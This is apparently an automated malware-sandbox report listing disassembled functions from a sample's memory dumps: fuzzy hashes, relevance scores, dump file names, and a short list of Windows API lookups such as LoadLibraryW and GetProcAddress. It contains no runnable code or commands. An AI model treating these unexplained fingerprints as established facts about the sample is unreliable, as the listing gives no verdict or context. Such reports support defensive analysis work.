Instruction Fuzzy Hash: 9F5118F3A0C3009FE3446E29EC8577AB7E6EBD4320F2A863DD6C4C3780E97558458696

Function 004A0673 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

wh^>, xrefs: 004A06D3

Memory Dump Source

Source File: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wh^>
API String ID: 0-1949413584
Opcode ID: bee8eefdbdaf7c91ff672a6c7cad872f1b709b2fe85a195a9732e44dc3ed8820
Instruction ID: 94209df95ae5bf84310848faeea8fe4961ba05e5b05fa4f76d6ab611675f5310
Opcode Fuzzy Hash: bee8eefdbdaf7c91ff672a6c7cad872f1b709b2fe85a195a9732e44dc3ed8820
Instruction Fuzzy Hash: E14189F251C700DFD7506F28D88067EFBE4EFA5720F160A2EE6D983240D63858919B9B

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 0040453E Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b494e2e7568d619acb6ff913188d90bdcf5cfcebdf8d669dd0b32bf6485649
Instruction ID: 7ba0dfa259d3fa730eb0565b813ca3a398b0849062b0692193063f6e42bcd721
Opcode Fuzzy Hash: 06b494e2e7568d619acb6ff913188d90bdcf5cfcebdf8d669dd0b32bf6485649
Instruction Fuzzy Hash: 2E7114F3A082109BE318AA2DDC8576ABBEADFD8710F1B453DDBC997380E53548058696

Function 003B16F9 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6113031f8b86604912864fe4fadcdf05e8942720d5ce2bcd667a3572154ed75
Instruction ID: d0431e55df43903d67e3ece2dcbcb521841922cab46b1a53b5dd155cd199e046
Opcode Fuzzy Hash: f6113031f8b86604912864fe4fadcdf05e8942720d5ce2bcd667a3572154ed75
Instruction Fuzzy Hash: 67515AB3F081045BF304592AED05B77B6DAD7D4325F2B823EEB4897780ED7A9C018295

Function 002FAF53 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739ea7567406acece4e5102152de576f060703e6bd8e9870cbfe27be9d64b77e
Instruction ID: a47fd4f2b5eafdb403e487a216d3590b4742fc9b6885b9bf365b4a1213dfec92
Opcode Fuzzy Hash: 739ea7567406acece4e5102152de576f060703e6bd8e9870cbfe27be9d64b77e
Instruction Fuzzy Hash: ED4135F3F142201BF314992DEC497AA76C7DBC0361F2F863A9A49D7788EC38890642D5

Function 003F00DA Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4802fcee051ce600e083eff38abb347cd097ace1a2857ccec9a68c3003a9c428
Instruction ID: 3d7ecb03618099e55aeb9dadfd71a8a37d60a164d2500a59a106201de715f23f
Opcode Fuzzy Hash: 4802fcee051ce600e083eff38abb347cd097ace1a2857ccec9a68c3003a9c428
Instruction Fuzzy Hash: D54103F351C2049FE3196E28DD4577EFBEAEB94320F2A453DE6C5C3744EA3888058686

Function 002F8651 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd673e0b20e6c4a10d6661bac5143b3697168341488cae73797c9b33372e4ffd
Instruction ID: 737612182252dd45cf963e2c74b9622ae9a38d8aa52c8a4f830750caa80fb15d
Opcode Fuzzy Hash: dd673e0b20e6c4a10d6661bac5143b3697168341488cae73797c9b33372e4ffd
Instruction Fuzzy Hash: 994136B3A0C2145FE31C6E6CEC4572AB7DAEB94310F1B4A3CEEC5C3740EA7959148292

Function 004C4019 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f6eec77c55c631b16ec9af8b7edae0c0401d3ae36eaa5cfb7273db4b43637f
Instruction ID: bd447406b57a27ab6a843e54ab5fd6f7b75375e566258861b3ca07c98028081e
Opcode Fuzzy Hash: d2f6eec77c55c631b16ec9af8b7edae0c0401d3ae36eaa5cfb7273db4b43637f
Instruction Fuzzy Hash: C5417AB251C704DFE315BF28EC856AAFBE4FF58310F56092DEAD483A00E67464448B97

Function 00079750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
